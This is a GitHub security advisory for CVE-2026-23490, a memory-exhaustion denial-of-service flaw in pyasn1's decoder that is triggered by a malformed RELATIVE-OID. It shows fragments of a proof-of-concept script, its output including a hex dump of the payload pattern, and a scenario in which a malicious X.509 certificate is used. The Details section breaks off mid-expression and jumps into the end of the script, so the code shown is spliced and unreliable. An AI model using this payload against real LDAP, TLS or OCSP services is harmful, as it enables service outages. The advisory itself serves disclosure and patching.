GitHub Advisoryadvisory · PyPI
GHSA-63vm-454h-vhhq pyasn1 has a DoS vulnerability in decoder
HIGH
Official page ↗
- Aliases
- CVE-2026-23490
- Ecosystem
- PyPI
- Packages
- pyasn1
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-400, CWE-770
- Reviewed
- 2026-01-16
Affected packages
• PyPI pyasn1: >= 0.6.1, < 0.6.2 → fixed in 0.6.2
Description
Summary
After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.
Details
The integer issue can be found in the decoder as `reloid += ((subId 10000:
print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
except MemoryError:
print(f'[-] MemoryError during string conversion!')
except Exception as e:
print(f'[-] {type(e).__name__} during string conversion')
except MemoryError:
print('[-] MemoryError: Out of memory!')
except Exception as e:
print(f'[-] Error: {type(e).__name__}: {e}')
print("\n[*] Test completed")
```
Screenshots with the results:
DoS
Leak analysis
A potential heap leak was investigated but came back clean:
```
[*] Creating 1000KB payload...
[*] Decoding with pyasn1...
[*] Materializing to string...
[+] Decoded 2157784 characters
[+] Binary representation: 896001 bytes
[+] Dumped to heap_dump.bin
[*] First 64 bytes (hex):
01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
[*] First 64 bytes (ASCII/hex dump):
0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @..
0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @....
0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @.....
0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.
[*] Digit distribution analysis:
'0': 10.1%
'1': 9.9%
'2': 10.0%
'3': 9.9%
'4': 9.9%
'5': 10.0%
'6': 10.0%
'7': 10.0%
'8': 9.9%
'9': 10.1%
```
Scenario
1. An attacker creates a malicious X.509 certificate.
2. The application validates certificates.
3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.
Impact
This issue can affect resource consumption and hang systems or stop services.
This may affect:
• LDAP servers
• TLS/SSL endpoints
• OCSP responders
• etc.
Recommendation
Add a limit to the allowed bytes in the decoder.
Related
Alias · CVE (1)
- CVE-2026-23490 pyasn1 is a generic ASN.1 library for Python. vulnerability
References
- https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq web
- https://nvd.nist.gov/vuln/detail/CVE-2026-23490 advisory
- https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6 web
- https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970 web
- https://access.redhat.com/errata/RHSA-2026:4148 web
- https://access.redhat.com/errata/RHSA-2026:4147 web
- https://access.redhat.com/errata/RHSA-2026:4146 web
- https://access.redhat.com/errata/RHSA-2026:4145 web
- https://access.redhat.com/errata/RHSA-2026:4144 web
- https://access.redhat.com/errata/RHSA-2026:4143 web
- https://access.redhat.com/errata/RHSA-2026:4142 web
- https://access.redhat.com/errata/RHSA-2026:4141 web
- https://access.redhat.com/errata/RHSA-2026:4140 web
- https://access.redhat.com/errata/RHSA-2026:4139 web
- https://access.redhat.com/errata/RHSA-2026:4138 web
- https://access.redhat.com/errata/RHSA-2026:39894 web
- https://access.redhat.com/errata/RHSA-2026:3959 web
- https://access.redhat.com/errata/RHSA-2026:3958 web
- https://access.redhat.com/errata/RHSA-2026:2302 web
- https://access.redhat.com/errata/RHSA-2026:41928 web
- https://access.redhat.com/errata/RHSA-2026:42644 web
- https://access.redhat.com/errata/RHSA-2026:4943 web
- https://access.redhat.com/errata/RHSA-2026:54757 web
- https://access.redhat.com/errata/RHSA-2026:5606 web
- https://access.redhat.com/security/cve/CVE-2026-23490 web
- https://bugzilla.redhat.com/show_bug.cgi?id=2430472 web
- https://github.com/advisories/GHSA-63vm-454h-vhhq advisory
- https://github.com/pyasn1/pyasn1 package
- https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496 web
- https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 web
- https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml web
- https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html web
- https://pypi.org/project/pyasn1 web
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json web
- https://access.redhat.com/errata/RHSA-2026:2300 web
- https://access.redhat.com/errata/RHSA-2026:2299 web
- https://access.redhat.com/errata/RHSA-2026:2221 web
- https://access.redhat.com/errata/RHSA-2026:19712 web
- https://access.redhat.com/errata/RHSA-2026:1906 web
- https://access.redhat.com/errata/RHSA-2026:1905 web